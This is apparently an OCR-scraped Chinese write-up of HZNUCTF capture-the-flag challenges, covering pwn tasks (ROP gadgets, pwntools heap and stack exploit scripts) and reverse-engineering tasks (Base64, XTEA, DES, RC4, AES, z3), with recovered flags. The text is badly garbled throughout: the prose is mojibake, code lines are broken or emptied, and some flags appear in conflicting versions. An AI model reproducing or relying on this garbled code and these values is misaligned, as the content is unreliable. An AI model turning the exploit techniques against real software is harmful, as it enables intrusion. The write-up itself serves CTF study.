-text:0000880000481022

-text:0000000000401024 |

.text:0000000000481024
.text:00000000004016027

-text:0000000000481029 ;

-text:0000000000401029
-text:000000000040102A
-text:000000000040162C

AT NS m e A A e e

xchg rax, rdi

jmp gword ptr [rax+1]
mowv rcx, rdi

jmp gword ptr [rcx]
xor rax, rax

jmp gword ptr [rdx]
pop rsp

pop rdi

pop rex

pop rdx

jmp gword ptr [rdi+l]
pop rCxX

or bh, bh

jmp qword ptr [rdx]
mov rsi, [rex+18h]
jmp gword ptr [rdx]
pop rdx

jmp gword ptr [rcx]
add rax, rdx

jmp gword ptr [rcx]
pop rCxX

jmp gword ptr [rdx]

REZIEEFERSgadget HER

23 if ( buf[@] > "4" )
24 {

25 LABEL_9:

26 write();

27 }

28 else

29 {

30 v5 = &retaddr;
31 vd = &v5;

32 write();

33 }

34}

35 write();

36 w5 =

37 vl =

(_UNKNOWN *%)&loc_401040;
vl = sys_read(®, &uf , Ox168ull);

EERERR— TR, BAURIRHRSCrbpEERIEIEITENLR, thalEMER, X5
MA209EHRE, EREILR, idakmEHRIEEEMN



AL UUUUUUUUUUSY LUV iy LYLT pPul 3L, L, 1

xt:000000000040106B jl loc_40111A

xt:0000000000401071 jz short loc_40109C

xt:0000000000401073 cmp byte ptr [rsi], 32h ; '2°

xt:0000000000401076 jz short loc_491b32

xt:0000P00R00401078 cmp byte ptr [rsi], *7% - "7

xt:0000000000401078 jz loc_4e1101 CHE
xt:0000000000401081 cmp byte ptr [rsi],

xt :0000APBERA01084 i loc_40111A Lo it B : ; CODE XREF: s
xt : 000POPOPARAR10SA push  rsp mov ik, SiEATSE tlg copalas
xt : 0000AGAAAB40108B push  rsp ?Z¥1 Ei?;eth
xt:000000000040108C push rsp

xt : 000POPOPARA010SD pop rsi U SRSt v Lol

xt :00000P0AO4010SE pop rsp — S il

xt : 0000ABAGAB40108F pop rsp mov rsi, rsp 3 [ELy
xt : 0000A0AGAB401090 mov edx, 8 mov EDOR o PGS
xt:0000000000401095 call write

xt:000000000040109A jmp short loc_4010480

¥ :000000000040109C ; - - - -

xt :000000000040109C

xt:000000000040109C loc_40109C: ; CODE XREF: start+451j

xt:0000P00R040109C mowv rsi, offset unk_4020E8

xt:0000PO0REA4010A6 mowv edx, 5Fh ; "'

xt:00000000004010AB call write

xt :00000000004010B0 jmp short loc_4010480

¥f:00000000004010B2 ; - - - - -
xt:00000000004010B2

xt:00000000004010B2 loc_4010B2: ; CODE XREF: start+4Atj

xt: 0000000040108 2 mowv rsi, offset unk_ 402168

xt :00000000004010BC mov edx, 16h

xt:00000000004010C1 call write

xt:0000P00RE04010CH push offset loc_4010480

xt :00000000004010CE sub rsp, 188h

xt:00000000004010D2 mowv rsi, rsp ; buf

xt:0000P00RE04010D5 mowv edx, 168h ; count

xt:00000000004010DA xor rax, rax

xt:0P00P00RA4010DD xor rdi, rdi ; fd

xt:0000PO0RE04010ED syscall ; LINUX - sys_read

xt:0000P00REA4010E2 mowv rsi, offset unk_40217E

xt : 00000000004010EC mov edx, 1Dh

xt:00000000004010F1 call write

xt:00000000004010F6 add rsp, 188h

xt:00000000004010FD imp [rsp+var 8]

SRR MUE

write(};

v5 = (_UNKNOWN **)&loc_401040:

vl = sys read(@®, &buf , Ox168ull);

write();

return ({__ int64 (_ fastcall *)(_QWORD, woid *))v5)(OLL, &unk_40217E};

¥
EHMEXE, XEFEKGDH

gdbYEFIHAILURIR, FAREEGFrsp IEEEVEEE, MAILECripMiFRIGIHaRIrsplil
B, BT HRIBRbufATRER, ENALIREwpEIH—T

dbg(Q):
.attach(




.sendlineafter(
= (io.recvn(
.success(




.sendlineafter(
.attach(io)
.sendlineafter(

.recvline()
.interactive()

PWN-ezpwn

REalE2024 pwn ezblind - blog at gets (getspwn.xyz)
Zas= (ycb202uHard Sandbox) - blog at gets (getspwn.xyz)

AT, HLRBCEE LEHE, ERERENexpF s

dbg():
.attach(

write(py, ):
.send( (pvy))
.send(p8( ))

write_all( , ):
. enumerate( ):

.send(p64( + i))
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http://www.getspwn.xyz/?p=92
http://www.getspwn.xyz/?p=90

.recv(
.address (io.recvuntil( )[-
( + hex( .address))
( ; )
.recv()
.sym[

LSRR N A S N W N

(
(
(
(
(
(
(
(
(

.search(




*

(®
(0)
(0)
(

)
*
.Ljust(
.address +

.rdi
.rsi
.rdx
.rsp
.rip

.sym[

= bytearray(bytes( ))
[8 : 8 +8] = ¢

[ : + =

= bytes( )
















.interactive()

FHARIZws1, M shellcodeAHEEREBILAFTIERY

PWN-qgheap

(ZRBEEE)

i B2MHERIR, =161, freefIifIR, SFE—FraHFRfree B _MHE—, S
ptmalloc free T ziglangAJheap

exp: EiNSFenlluslonffifexp, XEBIRHAexp, ITEHEIRM

.success(

decrypt( R

range(3):
¢ > 12) °
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add( , , :
.sendlineafter( , )
.sendlineafter( , str(idx).encode())
.sendafter( , str( ) .encode())
.sendafter( , )

free(idx):
.sendlineafter( , )
.sendlineafter( , str(idx).encode())

show(idx):
.sendlineafter( , )
.sendlineafter( , str(idx).encode())

edit( ) ):
.sendlineafter( , )
.sendlineafter( , str(idx).encode())
.sendafter( , )

inQQ):

.sendlineafter(

outQ(Q):
¢ )

.sendline(

Qadd( ,
¢ )

.sendline(

¢ )
.sendline(str( ))

( )
.sendline(str( ))

( )
.send( )

Qfree( ):
( )
.sendline(
( )
.sendline(str( ))

Qedit( ,
¢ )

.sendline(




( )
.sendline(str( ))

( )
.send( )

dbg():
.attach(io)

range(7):

range(14):

(3,
O

(3)
(1)

.recvuntil(

.recv(6).1ljust(8,

.symbols[




.symbols[
.symbols[

1

.symbols[

.symbols[

)

(io.recvuntil( )J[-6:]1.1just(8,

)




.symbols[

.send(

.search( ¢
))
.search( ¢

))

.search( ),

.search( ¢
))
.search( ¢

))




.send( )
.interactive()

REVERSE-Baseé6d

oy

FlpfHoEEST, 6ufuRY, 8B

. Exeinfo PE - ver.0.0.84 by AS.L- 1188+171 sign 2024.02.27 — X
it (F) Basef4.exe g =
#FEAO:  D00018FC oo < AORE:  text = 2l
I8 0oooocFC AOFF:  4883ECBEE @ F G
EEt g 14.42 F Fif Win Console PE Y
MiFAlv nooo32ooh < wer Bi{A0#UiE:  No 00000000 &)

™. O "
b | 3 =
Image is &4 bit executable RES/OVL:2 | 0 % 777 - . -
L

w54 Microsoft Visual C++ v14.42 - 202% - microsoft.com (exe 4383EC28-48 AhERE 12H1(P)

HREE -#FET - HREE -
Big sec. 01 [ .text] , Mot packed , try debug www.ollydbg.de or www. x64d 9 = ==

EiZidaeutr, E2IRAS

main(
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ZERER, BiNflag, SRERKE, ARREX, BERENZINET, INEREHE
sub_1U00010E0KRE], RHEFELKUZ—PELAIbase6d, TR, RIIEERSIEUERIT
IRBHT TR, — T EURILIE, Dn24.



4 ua LUA V1ew—A usl rseuaocoue—A L oy Hex view—1L 81 Structures Lz cnums

73 v10 += 3i64;
74 vl3 = vi2 + 24;
75 vilid = vi3 - 64;
76 if (v13 <= 0x40 )
77 vl4d = v13;
78 vo[v3 - 4] = v30[via];
79 v15 = ((*(unsigned _ int8 *)(vie - 4) >> 4) | (16 * (*(_BYTE *)(vie - 5) & 3))) - 4@
80 if ( ((*(unsigned _ int8 *)(vie - 4) >> 4) | (16 * (*(_BYTE *)(vie - 5) & 3u)))| + 24 <= ox40 )
81 v15 = ((*(unsigned __int8 *)(v1e - 4) >> 4) | (16 * (*(_BYTE *)(vio - 5) & 3)p) + 24;
82 vo[v3 - 3] = v30[vl5];
83 v16 = ((*(unsigned __int8 *)(vie - 3) >> 6) | (4 * (*(_BYTE *)(vie - 4) & @xF))) - 4e;
84 if ( ((*(unsigned _ int8 *)(vi@ - 3) >> 6) | (4 * (*(_BYTE *)(v1i8 - 4) & ©xFu)))J + 24 <= ox40 )
85 v1i6 = ((*(unsigned __int8 *)(vi@ - 3) >> 6) | (4 * (*(_BYTE *)(vie - 4) & exF])) + 24;
86 v9[v3 - 2] = v30[vie];
87 V17 = (*(_BYTE *)(v10 - 3) & OX3F) peeiisy
88 if ( (*(_BYTE *)(vie - 3) & Ox3Fu) [+ 24 <= 0x40 )
89 vi7 = (*(_BYTE *)(vie - 3) & ox3f) + 24;
90 vo[v3 - 1] = v30[v1l7];
91 --v11;
92 }
93 while ( vi1l );
94 }
95 v18 = v5 - 1;
96 if ( lvis )
97 {
98 v25 = (*(unsigned __int8 *)((int)v2 + al - 1) >> 29 A
99 if ( (*(unsigned _ int8 *)((int)v2 + al - 1) >> 2+ 24 <= Ox40u )
100 v25 = (*(unsigned __int8 *)((int)v2 + al - 1) >X2) + 24;
101 vo[v7 - 4] = v38[v25];
102 v26 = *(_BYTE *)((int)v2 + al - 1) & 3;
103 *(_WORD *)&O[v7 - 2] = 15677;
104 v27 = 16 * v26 + 24;
] 105 v28 = v27 - 64;
106 if (V27 <= 0x40 )
107 v28 = v27;
108 vo[v7 - 3] = v30[v28];
109 goto LABEL_37;
110 }

111 if (vis 1= 1)
r

N5 T MERIERIER T

ABLTEfEbase6UimiSRIATIR, FILUCIERBIERUBREL, ARBRREEF—IER

range(64):
= (1 +24) %

range(64):
print(chr(

=3Fx:

53sjBuyxglmrCVdSThAfEOVPHaYZNzouktK9iebIGLp/+Wn7uqX8FQ2JDR1cOM6U

RIS REIRTD



Recipe ~dlm B Input

AwLdOEVEhIWtajB2CbCWCbTRVSFFC8hirfiXC9gWHOHQayCIVbB8CIF=

From Base64 ~
Alphabet
53sjBwyxglmrcvdsTl Remove non-alphabet chars

I:l Strict mode

mec 56 = 1

Output

HZNUCTF{ad162c-2d94-434d-9222-b65dc76a32}

HZNUCTF{ad162c-2d9u4-1434d-9222-b65dc76a32}

REVERSE-XTEA

ELRE: BXTEA, RiEE, (9BEN
BBHAR: W8, REmnisclk? flagi&TIHZNUCTF{}

ZZMBMF, #BE4s, BmE S readme.txt, — zipiFl]—/\ exe, readmeEEHEE

BEEY, WBESE, 2—Texe, MINEAN—HRY, RN, i¥8%, 64T

! Exeinfo PE - ver.0.0.84 by ASL - 1188+171 sign 2024.02.27 — ot
Mi(E) XTEA.exe Py (™|
#EFAO: pon112a3 oo < AAER: et = Y
YIS 000006A3 AOZFF:  E958180000 @ 0 iEit@©
EEEE: 14.42 FERiE Win Conscle PE

] .d'
XF#eds poniozoch < wer o [H0#HE: o oooooooo @ &
. = =
Image is 64 bit executable RES/OVL:1 /D % 777 ‘o =
L
164 Microsoft Visual C++v14.42 - 202x - ExE Debug { jmpfimp/imp/fint3 ) - AhERE4 1281 ()
HREE - T -IREER -
Big sec. 02 [.text] , Mot packed , try debug www. ollydbg.de or www, x64d 9 = =F

ida6ufJHOHT, RIEXEZFFHRREREInainkREl
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A e - Type String

il 1

]

7

an! 1!
ound the variable °

wn

a function call.
f data. If thi

,

u | o

ializedirhn

01E
nii

1 w

P TR T A A O T T T T e L L T T O T e R |

1 ||

sub_140011BEG(C)




+ 3+ 3) | (+(C
) | Cx((C )

IRIEURIZEX —LREH TED R, FERX— LRI TR

BUNBIERENBA— L, XN FRtHMEREANERESIEES, Eat+7 s
BE0Ox9E3779B9, REAEFMExtealZMdelta




rain

:r\PyCharm-Wor

BREINZMAZINKey, #Esub_1400110BIREHHITHIEML

1 L_in:Ei __fastcall sub_148811B78(_ inte4 al)
1

[

__inte4 result; // rax

4 dint i; // [rsp+2ah] [rbp+dh]

& result = sub_ 1488113A2(&unk 1480228A7);

7 for ( 1 =8; 1 <« 4; ++1 )

8 {

9 *(_DWORD *)(al + 4iRd4 * i) = rand();
1e ~esult = (unsigned int)({i + 1)};
11}

12 return result;
13 }

JLEZIME—MubEN, EEfFEERSETRE

23}
24 sub_1488113A2(&unk_1488228A7);
25 srand(@x7E8u);

26 sub 148011181();

27  sub_1488111A9("Welcome to HZNUCTF!!!%n™};

28  sub_1488111A9("Plz input the cipher:\n™)};

29 v7[e] = e;

3@ if { (unsigned int)sub_148611217({"%¥d", v7) == 1 )

BLMALURIEENAIMFiREkeyRIE, BESHLNZEkKey, EREXBEE—REN, &
sub_140011181REE



1 bedd sub_14e812138()
1
sub_1488113A2(&unk_1480228A7);
if { (unsigned int)sub_148611238() )
5 srand (@x7EIU) ;
6 }

A pa

(=9

HNZEECRIE BB F 23R
SHkeytbA—#, BBEINESZkeyBRGE—FHALLT

TEEIREkeyHIBIA

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <time.h>

main() {

key

6648
4542
2449
13336

ia5e T key, XBEH—MforfEh, #ENIEMARI32MAIBAL, 53 pk/\BiHITI0E

for ( §=8@; 7 <32; 1 4+=4)

{
vld = *((char *}Block + j + 3} | (*((char *)Block + § + 2) << 8) | (*{{char *)Block + § + 1) << 16) | (*{{char *)Block + j) << 24);
e[ / 4] = viag

RERINERL, BIEEsub_140011212 KA ME—NEEHTEN I teail®, B
RIEAMAEHERIHE 7 —LiZ, AERMinERIxteall0l 23 USIXEFRIESGHITIN
7, MEel 12 23IXFRIAS, IBATMENRHRREEERHTHE

LU 2RI

#include <stdio.h>
#include <stdlib.h>



#include <stdint.h>
#tdefine delta Ox9E3779B9

decrypt(

as_big_endian(

~

L B e B e B e B e N e B e N e |
—_t e e e e e e d




HZNUCTF {ae6-9f57-Ub7u-bL23-98eb}

REVERSE-exchange

ERISEE: PEXUHSTN, UPXss, BENXINE, BEHMDES
AR W, ATareEsiTle, BIFEBARIE? flagi&zl/IHZNUCTF{}
WP:

WRIER B, BXHAEeubit, FMALUERETITIER 7. Adied] LIEHIXE6H
RYSZME, (BERA010F I RER TG eUAISUFAIET

i ST Bt a1 o
FE&4 - 15.60 KiE 00000001 40000000 000000014002bel0 » —
=8
ufES | mEmE || RCR || e | TES %8 || virsToral
MIME Viznalization E IEE= Bz EHnzE TaRA
EE =) S =R . WET LS Fih0
o] R ETE:: EfEA =R
0003 > 20260208 14:60:08 0002 e000 BT R
348 =Nk = ) Al
Bzh - LE 64 i HMTA4 b =]
- PEG4
EAEESE Windows(Vista)[AMDE4, 64 i, HH5] 5
FHEREE: Microsoft Linker(14.36.34435) 5 7
#=EEE: Microsoft Visual C/C++(19.36.34435)[C] 5 7
E= C/C++ :
TE: Visual Studic(2022 version 17.6) 5 7 i
FTEITE: UPK4.24)[NRV best] s 7
yrA Gl
i v BIFEE v EERE BEdfE v i =T

B S i pesil > s = i B
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2D
2D
00

00
00
00

B, . .- %0, @ Y-
. -2 Y- %Y, 2. Y-

fCoB 01H(pkOB 02, ida6li]FofT, RIEXEFFFREMEImainRE]

A E e — L B R AR TR

sub_140012F90()




EFRBREZEMETTMARIf lagiTEIVIRE, EEMEHZINUCTF{}, ARIAIESH

HASHTINEIE, LiBE— NSNS, A A=ZAER, 7
BN 2PN TSRS, RE1EAsub_1400113EDERELHITREAIDESINE,
XEEr] AR FBBiR R HEDESINER

.data:0000000.. global DES_sbox_140020100 | b’ \x00\x04\x01\x01\x00\x00\x00\x00\x808\x00\x01\x00\x04\x04\x4




.data:0000000140020910 ; _DWORD dword_140020910[24]
.data:0000000140020910 dword_140020910 dd 800000h, 400000h, 200000h, 100000h, 80000h, 40000h

.data:0000000140020910 ; DATA XREF: sub_140012BD0+25310
.data:0000000140020910 ; sub_140012BD@+29BTo
.data:0000000140020928 dd 20000h, 10000h, 8000h, 4006h, 2000h, 1000h, 800h, 406h
.data:0000000140020948 dd 200h, 100h, 80h, 46h, 20h, 16h, 8, 4, 2, 1

.data:0000000140020970 ; unsigned _ int8 byte_ 140020970[56]
.data:0000000140020970 byte_140020970 db 38h, 30h, 28h, 20h, 18h, 10h, 8, @, 39h, 31h, 29h, 21h

.data:0000000140020970 ; DATA XREF: sub_140012BD0+6ATo
.data:000000014002097C db 19h, 11h, 9, 1, 3Ah, 32h, 2Ah, 22h, 1Ah, 12h, ©Ah, 2
.data:0000000140020988 db 3Bh, 33h, 2Bh, 23h, 3Eh, 36h, 2Eh, 26h, 1Eh, 16h, ©Eh
.data:0000000140020993 db 6, 3Dh, 35h, 2Dh, 25h, 1Dh, 15h, @Dh, 5, 3Ch, 34h, 2Ch
.data:000000014002099F db 24h, 1Ch, 14h, oCh, 4, 1Bh, 13h, ©Bh, 3

ata:00000001400209A8 . unsiesned  int8 bvte 1400209A3[16]
data:00000001400209A8 byte 1400209A8 db 1, 2, 3, 4, 5, 6, 7, 8, 9, @Ah, @Bh, OCh, @Dh, OEh

kiaia:0000000140000008 DAL X Rl 1000 2800.5R 0
.data:00000001400209A8 5 sub_140012BD0+1C4To
.data:00000001400209B6 db ©Fh, 1@h

.data:00000001400209B8 ; unsigned __ int8 byte_ 1400209B8[584]
.data:0000000140020988 byte 1400209B8 db @Dh, 10h, ©Ah, 17h, @, 4, 2, 1Bh, @Eh, 5, 14h, 9, 16h

.data:00000001400209B8 ; DATA XREF: sub_140012BD0+23410
.data:00000001400209B8 ; sub_140012BDO+279%0
.data:00000001400209C5 db 12h, oBh, 3, 19h, 7, ©Fh, 6, 1Ah, 13h, @Ch, 1, 28h
.data:00000001400209D1 db 33h, 1Eh, 24h, 2Eh, 36h, 1Dh, 27h, 32h, 2Ch, 20h, 2Fh
.data:00000001400209DC db 2Bh, 30h, 26h, 37h, 21h, 34h, 2Dh, 29h, 31h, 23h, 1Ch
.data:00000001400209E7 db 1Fh, 218h dup(@)

.data:0000000140020C00 ; uintptr_t _security_ cookie

.data:0000000140020C00 _ security_cookie dq 2B992DDFA232h ; DATA XREF: sub_140011B80+2C1r
.data:0000000140020C00 ; sub_140011E80+311r ...

.data:0000000140020C08 align 40h

.data:0000000140020C40 qword_140020C40 dq OFFFFD466D2205DCDh ; DATA XREF: _ report_gsfailure+B51r
.data:0000000140020C40 sub_140015EE0+211w ..
.data:0000000140020C48 db 0

_data:0000000140020C49 db 0

toERtotrot21,2,4,6,8,10,12,14,15,17,19,21,23,25,27, 28, 7EM_E3R/N
K, IBXMER— A LAEERE T . XEDESHEERIZHEFLlagskHZNUCTF{,

#include <string.h>
#include <stdio.h>

#define ENO 0
#define DE1 1










#define CRCSEED 0x7529

scrunch(

unscrun(

desfunc(

cookey(
usekey(







cookey(
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desfunc(
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des_key(

(key,
(dc—ek);

(

des_enc(

des_dec(

des_encrypt(




des_decrypt(




main()




Z2ZDESHNIER Z BIRYEHE
333936147332632923d96353321d33U5636826026314621d3349330463126348

BEMHAEOMARERURZSR—TME, MAIUERflagy

= list( ))

range(l, len(
+ 1 < len(

[i],
= "" join(

range(0, len(

print(chr(int(
print("}")

HZNUCTF{391ds2b9-9e31-45f8-bala-L490Ua2d8}

JEic: BRIMEIEERY, e L, (BRHADEARHREDFSICH=3DESAIES
7, SEHLIEZpatchAH3DESTRIMBERE, ERETT ...

REVERSE-conforand

ERIBE: ollvmEis, BHRCY, (BB AR

AL BEHRIRE ... flagi&zU/IHZNUCTF{}

idafTFF, BiEIFETE, BRRYBHRIMETES, JLABMEMED-810# T —EREENE

E
wa

THRZREERETLEE, ERNREZENREBNZERHTTENS
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mainpRZ{

285  dnit(key);

286 vwi5 = printf("Welcome to HZNUCTF!!IYn");
287 w54 = printf("¥s", key);

288 w53 = printf("Plz input the flag:\n");
289 w3 = _ is0c99 scanf("%s", flag);

25a i = -2187129647;

291 yLo = 4y

375 w98 = 27936685;

376 v89 = @;

377 wvd = rcd(flag_, 42LL, key, 9LL);
378 *vli6 = 8;

379 i = 635195153;

380 w51 = vd;

initpRE], sub_5s5s5s¥#E], X MNREG EXTr UV EHH TR AR (IBEFAIRL

1 inted  fastcall init(char *al, int64d a2, inth4 a3)
2 {

3  sub 5s5s5s(al, a2, a3);

4  strepy(al, "JustDeIt!™);

5  return 2933993852LL;

6}

£ I LU e l'..l',

257 *yB4 = time(OLL);
258 seed = *yid,;

L i = LRIALTRLD -

277 B3 = 0;
278  srand(seed);
279 wbhbY9 = -1938858312;

288 wbE = 1958539915;
281 we7 = 1915178132;
rcUERE]
264 w129 = 1 + 642875351;
265 w125 = 1 + 315361328,
266 LABEL 81:
267 inited = init_sbox(v156, v157);
268 =yl52 = 8;
269 =yl53 = 8;
278 =154 = 8;
598 LABEL_57:
599 vh = *y152;
cea vb5 = 257,
601 %152 = (v6 + 1) % 257; J/i=(i+1)%257
B2 i = 1283764314,
6e3 vldl = 1283764314,
6e4 vldg = -1817591234,;
685 w139 = -1873869614;



T 0oy V1ild = pBBSoLlSYg;
* 631 vll3 = @;
632 LABEL 58:
& 633 vlel = *v153 + sbox[*v152]; /(3 + sbox[i])
& 634 i = 351933688;
® 635 vldl = 351933688;
® 636 vlde = -1869421868;
& 637 w128 = -1924988248;
& 698 vide = vl6l;
& 699 *y153 = vl6l % 257; /(7 + sbox[i]) % 257
& 7oe sbox[*v152] = sbox[*v153]; [/ sbox[i] = sbox[7]]
& 701 i = -1553168711;
& 702 vAd5 = v35;
& 783 vidd = w29,
& 764 vad3 = v34;
& 785 vd2 = v38;
& 716 w52 = -821562826;
& 717 vsl = 1;
& 718 *y153 = v16l ¥ 257;
& 719 sbox[*v152] = sbox[*v153];
& 720 vle2 = Bsbox[*vl152]; ff w162 = sbox[i]
® 721 v7 = (v51 | 1) & ((((((v51 & 1) == @) | v51 ~ 1) * ((v51 ~ 1) & (y_10 < 1€
7272 B = (frelned (051 B 1Y == 0% | 51 A A% A (D1 A 1Y 2 (v 10 - 8% | (v AP
526 LABEL_b65:
& 327 sbox[*v153] = *vl62; [/ sbox[j] = sbox[i]
& 3828 vl@ = sbox[*v152] + sbox[*v153]; Jf sbox[i] + sbox[]]
& 829 Vsl = -1;
& 336 #y154 = v1@ ¥ 257; /7 (sbox[i] + sbox[j]) % 257
& 3831 vll = (v58 * BxSF51A4D1) & ((v5@ ~ @x7E@5@B9S | ~v50 & @x7E@50B95) ~ ((vsS@ ~
& 3832 w12 = (~((v50 * Bx7E@58B95 | ~v50 & Bx7E@SBBIS) ~ ((vSe ~ Ox7E@58B9S) & (((v

init_sboxRAEN

@ 586 memset(s, @, @x12Cull);
® 587 *tmp = 8;
® 588 *rand _num = rand();
@ 539 *y218 = B;
& 984 *(*shox + *v218) = v225;
& 985 vl = *y217,;
& 986 wh = *y215;
® 907 V77 = 9;
& 988 w226 = *(vd + w5 ¥ 9);
& 989 v227 = *rand_num;
& 948 w228 = w227 M w226;
& 949 v229 = *y218;
& 959 ¥(s + w229) = w227 ™ v226;
& 951 i = -387558938;
& 952 w218 = -387558938;
& 953 7 = 1784569379;




rcdBEM T =Mt7, — D Rsbox#linitRt, ERFAERRAVIHRRE T o ERAI—
N, PARTEr U IR EIRIswapiUal 7

sbox[1] = sbox[]];

1]
sbox[]j] = sbox[1];

AR IR EUE 257

BLMATLASHEEIRRHA T, RIEHH4FFRJoutput. txt

#include <stdio.h>
#include <time.h>

#include <stdlib.h>
#include <string.h>

init(




HZNUCTF{489b88-1305-411e-b1fU-88a3070a73}

rand_num: 56




REVERSE-7KEB 723

ERUSEE: unityBEIYE, AESHNER

BBEHHA: Just for fun ... GR{IUELbug? BIFEREN ... ) Flagi&=,/IHZNUCTF{}

Assembly-CSharp (0.0.0.0)

= Assembly-CSharp.dlI
= PE

p B KRIF|F

p =B 5|

v <Module> @02000001
P 43 Blade @02000002
> 43 Bomb @02000003
> 43 Fruit @02000004
4 43 GameManager @02000005
> W EERniE]
IREESSEY
.cctor() : @06000022
GameManager() : @060000
Awake() : @06000017
KZlGameMangeriX(N2E, AILIBZIRIEIREHEEE, o NEE, METIKRSEXE
999999999 =5#flag, flagRREFPFIREHFHFEAES CBCEAHITRRZESEIRY,
keyFIivEBE] LAEHEIREN
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% null)

% null)

Decrypt( []




ZEEF—ER

Recipe ~ A B ¥ Input + D2 Wi
AES D o ~ cecadff28e93aa5d6f65128ae33e734d3F47b4b8a050d326C534a732d51b96e2a6a88dca@d5a704a216c2e@c3cc6aaaf
ecryp

Kev v

HZNUHZNUHZNU.  UTF8™ 020200550308..  UTF8”

Mode Input Output

CBC Hex Raw
mec 96 = 1 Tr Raw Bytes &
Output a |r] [y I

HZNUCTF{de20-70dd-4e62-b8de-06e}

HZNUCTF{de20-70dd-4e62-b8d0-06e}

REVERSE-IEERIARTRIES

ELORLL: pythoni¥i[m, z3, BENINZE, T=REE

EfEA: 40RK ... FlaghIt8zV/IHZNUCTF{}

&

WP:

B2 pythonklexe, IETHIRHERIBESIRTNERDpython38. d1l, ERKBRM—
5y

Fipyinstxtractorff#fl, A/EHEloutput.pyc, E#EEAuncompyle6kimiE, BN
i

= input()
= (
= .join((str(
print( ,
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X X
x

|
| ]
+ + + + + 1
—m + +
Lo B e T e B o B e B e |
L B e Bl o | X

_ el _ e el




ZTRIERIpythonfUlS, RNIBHHR 7 —LEERIER, BITEHR— ALY

EFNERZIEM TR lagFRIRPRS N ZRANHIUREH TR, AREED
FREERNEHIURERIIINE R, XEFE—/Kcheck, ENREARFITZHIIHIVRE,
IS EHIFN TSR, HERINFE, 8N EAERNSFHEX N HIMANREL,
ECENE NHZNUCTF{111}, BBARSHHH1ZINIUICITIF1{113}1, &EHTHERNAR
el

VAT 2R A

range(30)]










.add(Ceq)
.check() ==
= .model()
= [chr( [ [i]].as_long()) range(30)]
range(30):

print(

print(

H1Z1N1U1C1T1F1{1a6d275f7-U63} 12X IflagHASFRT, BBARAILURTR
1111111162576U45365U7736U7776U4575236 1 TAE

HZNUCTF{ad7fa-76a7-ff6a-fffa-7f7d6a}

REVERSE-randomsystem

ERRGE: BEXINE, (HbEHL, TLSEE, <

C

BffiA: ZFEEEY ... flagi&zUIHZNUCTF{}

B

WP:

HEMHETT, BiEidaedF IO

sub_u12370(0)
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nainBEENENEMIGBESTITRYT, EEELRMERPINEEAY, SENHE
—EE MRS

et B0L22F3 ;oo - oo e
.text:804122F3

Ltext:804122F3 loc_4122F3: ; CODE XREF: sub_4122B8+80]
.text:804122F3 mov eax, [ebp+var 28]

Ltext:884122F6 add eax, 1

.text:0084122F9 mov [ebp+var 28], eax

Ltext:@e4122FC

Ltext:804122FC loc_4122FC: ; CODE XREF: sub_4122B@+411j
.text:084122FC cmp [ebp+var_28], 8

Ltext: 00412300 jge short loc_412332

Ltext: 80412362 call loc_412388

s L e e et e
Ltext:0e412387 db @E8h

LEexti@0412308 5 --------- oo
.text:80412308

.text:008412388 loc_412388: ; CODE XREF: sub_4122B8+521]
.text:008412368 db 36h

.text:00412388 add [esp+@FBh+var FB8], 8

.text:@e412368D retn

o L I e et i ettt
Ltext:@e41238E dw BBESh

.text:008412318 dd BE@C1EC45h, 8458385h, 38C4D8Bh, BBE@FF84Dh, BEG4DSB11h
.text:008412324 dd 8B88148%h, BC283F855h, @F85589@1h

Xt IO L2330 ; - - m e m e e e e e e
Ltext:88412338 jmp short loc_4122F3

et BB 233 oo oo
text:eed12332

Ltext:@0412332 loc_412332: ; CODE XREF: sub_4122B@+501]
Ltext:0041212E push eax
Ltext:0041212F call j_strlen
.text:00412134 add esp, 4
.text:88412137 mow [ebp-8], eax
Ltext: 00412134 jz short near ptr loc_41213E+1
Ltext:8841213C jnz short near ptr loc 41213E+1
Ltext:9841213E
Ltext:8041213E loc_41213E: ; CODE XREF: .text:8841213A75
Ltext:0041213E ; -text:8841213C1T5
Ltext:8841213E mow [eax+ecx+75h], esi
Ltext:00412142 push es
Ltext: 00412143 call near ptr
Ltext:00412148 call near ptr
Ltext: 008412140 Jmp near ptr
dextBBA121AD ;-
.text:80412152 dw @C7ESh
.text:88412154 dd @EC45h, 9EEE@8Bh, 83EC4A58Bh, 458982C8h, BF8458BECh
Ltext:00412168 dd 39@1E883h, 2EVDECAS5h, 3@8458Bh, OBEGFECASh, 3@E98388h
Ltext:8@41217C dd 8B@AE1C1lh, 55838855h, 42BEGFECh, 38E88381h, AS8BC8BEh
Ltext:08412198 dd @C22B99ECh, 558BF8D1h, 28C888Ch, 1B3BEEBh, eCleegeeen
Ltext:00412144 dd 4DEB@3EGh, 1@4C6@Ch, SBS5ESF@8h, ©D8CA81h, BEC3Booesh
.text:084121B8 dd BFFF@BEE8h, SDES8BFFh, BCCCCCCC3h, 8Bh dup(BCCCCCCCCh)

dextiBBA12IFE ; - - - - e
Ltext:004121F8



sub_U41105FRZL

1 unsigned int _ cdecl sub 413368(int a2, int a3)
2 {
3  unsigned int result; // eax
4  char vd; [/ [esp+D3h] [ebp-1Dh]
5 unsigned int i; // [esp+DCh] [ebp-14h]
6 unsigned int v6; // [esp+E8h] [ebp-8h]
7
O 8 for ( 1=8; ; ++1)
9 {
& 10 result = vb »> 1;
& 11 if (1 2=wb 2» 1)
& 12 break;
® 13 if(*(a3 + 4% 1) >= 0 & *(23 + 4 * i) < v6 )
14 {
# 15 vl = *#(1 + a2);
® 16 i+ a2) = %(a2 +vh - Fa2 + 4 * 1) - 1);
& 17 a2 +wvb - a2 + 4 * 1) - 1) = vi;
18 1
19 }
® 28 return result;
® 21}

sub_uU1133UREL

I

1 int _ cdecl sub_#412B68(char *5tr, int a2)
2 {
3 int result; f/ eax
4  signed int i; // [esp+DBh] [ebp-14h]
5 size t vd; // [esp+DCh] [ebp-8h]
6
& 7 wd = j strlen(5tr);
@ 8 Ffor (i=0; 1< (vd-1); 14+=2)
® 9 *(22 + 1/ 2) = (Str[i + 1] - 48) | (16 * (Str[i] - 48));
# 18 result = 8;
& 11 =(=2 + 8) = 8;
® 12 return result;
& 13 }

sub_U112DARE]



1 fint cdecl sub A13BEB(int al, int a2, int a3)
2 {

3 int result; // eax

4 int k; // [esp+D8h] [ebp-28h]

5 dint j; // [esp+DCh] [ebp-14h]

6 int i; // [esp+E8h] [ebp-8h]

7

8 for (i=8; 1i<8; ++1)

9 {

=
&=

for ( 7 =8; 7 < 8; ++] )
{
a2 + 32 %1 +4 % 9) =8;
for (( k =8; k < 8; ++k )
